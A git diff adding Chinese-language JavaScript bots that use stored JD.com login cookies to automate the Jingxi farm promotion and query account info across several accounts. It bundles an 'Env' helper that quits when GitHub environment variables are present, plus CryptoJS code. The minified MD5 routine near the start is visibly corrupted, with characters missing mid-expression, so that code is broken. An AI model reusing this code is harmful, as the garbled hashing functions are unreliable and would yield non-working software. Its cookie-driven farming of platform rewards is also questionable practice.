n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} + +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--;) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0, 16) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: $.cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_jxnc.js b/jd_jxnc.js new file mode 100644 index 0000000..3e66691 --- /dev/null +++ b/jd_jxnc.js @@ -0,0 +1,869 @@ +/* +特别声明: +本脚本搬运自 https://github.com/whyour/hundun/blob/master/quanx/jx_nc.js +感谢 @whyour 大佬 + +无需京喜token,只需京东cookie即可. + +京喜农场:脚本更新地址 jd_jxnc.js +更新时间:2021-06-3 +活动入口:京喜APP我的-京喜农场 +东东农场活动链接:https://wqsh.jd.com/sns/201912/12/jxnc/detail.html?ptag=7155.9.32&smp=b47f4790d7b2a024e75279f55f6249b9&active=jdnc_1_chelizi1205_2 +已支持IOS,Node.js支持N个京东账号 +理论上脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +助力码shareCode请先手动运行脚本查看打印可看到 + +==========================Quantumultx========================= +[task_local] +0 9,12,18 * * * jd_jxnc.js, tag=京喜农场, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxnc.png, enabled=true +=========================Loon============================= +[Script] +cron "0 9,12,18 * * *" script-path=jd_jxnc.js,tag=京喜农场 + +=========================Surge============================ +京喜农场 = type=cron,cronexp="0 9,12,18 * * *",timeout=3600,script-path=jd_jxnc.js + +=========================小火箭=========================== +京喜农场 = type=cron,script-path=jd_jxnc.js, cronexpr="0 9,12,18 * * *", timeout=3600, enable=true +*/ + +const $ = new Env('京喜农场'); +let notify = ''; // nodejs 发送通知脚本 +let notifyLevel = $.isNode() ? process.env.JXNC_NOTIFY_LEVEL || 1 : 1; // 通知级别 0=只通知成熟;1=本次获得水滴>0;2=任务执行;3=任务执行+未种植种子; +let notifyBool = true; // 代码内部使用,控制是否通知 +let cookieArr = []; // 用户 cookie 数组 +let currentCookie = ''; // 当前用户 cookie +let tokenNull = {'farm_jstoken': '', 'phoneid': '', 'timestamp': ''}; // 内置一份空的 token +let tokenArr = []; // 用户 token 数组 +let currentToken = {}; // 当前用户 token +let shareCode = ''; // 内置助力码 +let jxncShareCodeArr = []; // 用户 助力码 数组 +let currentShareCode = []; // 当前用户 要助力的助力码 +const openUrl = `openjd://virtual?params=${encodeURIComponent('{ "category": "jump", "des": "m", "url": "https://wqsh.jd.com/sns/201912/12/jxnc/detail.html?ptag=7155.9.32&smp=b47f4790d7b2a024e75279f55f6249b9&active=jdnc_1_chelizi1205_2"}',)}`; // 打开京喜农场 +let subTitle = '', message = '', option = {'open-url': openUrl}; // 消息副标题,消息正文,消息扩展参数 +const JXNC_API_HOST = 'https://wq.jd.com/'; +let allMessage = ''; +$.detail = []; // 今日明细列表 +$.helpTask = null; +$.allTask = []; // 任务列表 +$.info = {}; // 用户信息 +$.answer = 3; +$.drip = 0; +$.appId = 10016; + +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); 